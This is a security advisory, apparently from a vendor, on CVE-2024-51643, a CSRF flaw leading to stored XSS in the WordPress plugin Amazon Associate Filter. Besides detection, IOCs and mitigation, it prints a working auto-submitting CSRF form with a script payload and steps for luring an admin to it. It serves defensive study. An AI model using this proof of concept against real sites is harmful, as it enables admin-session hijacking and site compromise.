CVE-2024-51643

Executive Summary

CVE-2024-51643 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Amazon Associate Filter (versions <= 0.4). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further leveraged to achieve Stored Cross-Site Scripting (XSS), enabling persistent payload execution within the WordPress admin panel. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been identified, but the lack of a patch increases risk for users who continue to use the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be tricked into clicking a link)
• Scope: Changed (CSRF leads to XSS, affecting other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High – Exploitation requires minimal user interaction and can lead to persistent XSS, allowing attackers to steal session cookies, deface the site, or execute arbitrary actions in the admin context.

Deep Dive & Mechanics

The vulnerability resides in the amazon-associate-filter plugin, which fails to implement proper CSRF tokens on administrative actions. An attacker can craft a malicious link or form that, when clicked by an authenticated admin, triggers a state-changing request (e.g., updating plugin settings). Because the plugin also does not sanitize or escape certain inputs, the attacker can inject JavaScript payloads that are stored and executed when other users view the affected page.

Attack Flow:

1. Attacker identifies a vulnerable WordPress site running Amazon Associate Filter <= 0.4.
2. Attacker crafts a CSRF exploit (e.g., an HTML form or image tag) that submits a request to the plugin’s settings page with a malicious payload.
3. Attacker lures an authenticated admin to visit the crafted page (e.g., via phishing email).
4. The admin’s browser sends the forged request, updating the plugin settings with the attacker’s XSS payload.
5. The payload is stored and executed when any user (including other admins) views the affected settings page, leading to session hijacking or further compromise.

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.4): The plugin likely lacks a nonce check in its admin handler. Example vulnerable pattern:

function save_settings() {
    update_option('amazon_associate_filter_settings', $_POST['settings']);
}

Patched Code: No official patch exists. A hypothetical fix would include:

function save_settings() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'amazon_associate_filter_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('amazon_associate_filter_settings', sanitize_text_field($_POST['settings']));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Amazon Associate Filter <= 0.4 installed and activated.
• Admin user logged in.

Exploit Steps:

1. Create an HTML file with the following CSRF + XSS payload:

<html>
<body>
<form action="http://target/wp-admin/options-general.php?page=amazon-associate-filter" method="POST">
    <input type="hidden" name="amazon_associate_filter_settings" value='<script>alert("XSS")</script>'>
    <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to an authenticated admin (e.g., via email).
4. Once the admin visits the page, the form auto-submits, injecting the XSS payload.
5. The payload executes when the admin views the plugin settings page.

Blue Team

Detection:

• Monitor for unexpected changes to plugin settings.
• Look for suspicious POST requests to /wp-admin/options-general.php?page=amazon-associate-filter without a valid nonce.
• Use WAF rules to block requests containing <script> tags in plugin settings parameters.

Hunting:

• Search for stored XSS payloads in the wp_options table (option name amazon_associate_filter_settings).
• Review HTTP referer headers for unexpected origins.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/amazon-associate-filter/amazon-associate-filter.php (version <= 0.4)
• Network: POST requests to /wp-admin/options-general.php?page=amazon-associate-filter with suspicious parameters.
• Log: WordPress debug log entries showing unexpected settings changes.
• Payload: <script>, <img onerror=, or other XSS vectors in plugin settings.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove the plugin if not essential.
3. Review WordPress admin logs for any unauthorized changes.

Long-term Fix:

• The vendor must implement CSRF nonce checks and input sanitization/escaping.
• Users should monitor the plugin’s repository for updates.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests containing XSS payloads in plugin settings.
• Restrict admin access to trusted IPs only.

Valters IT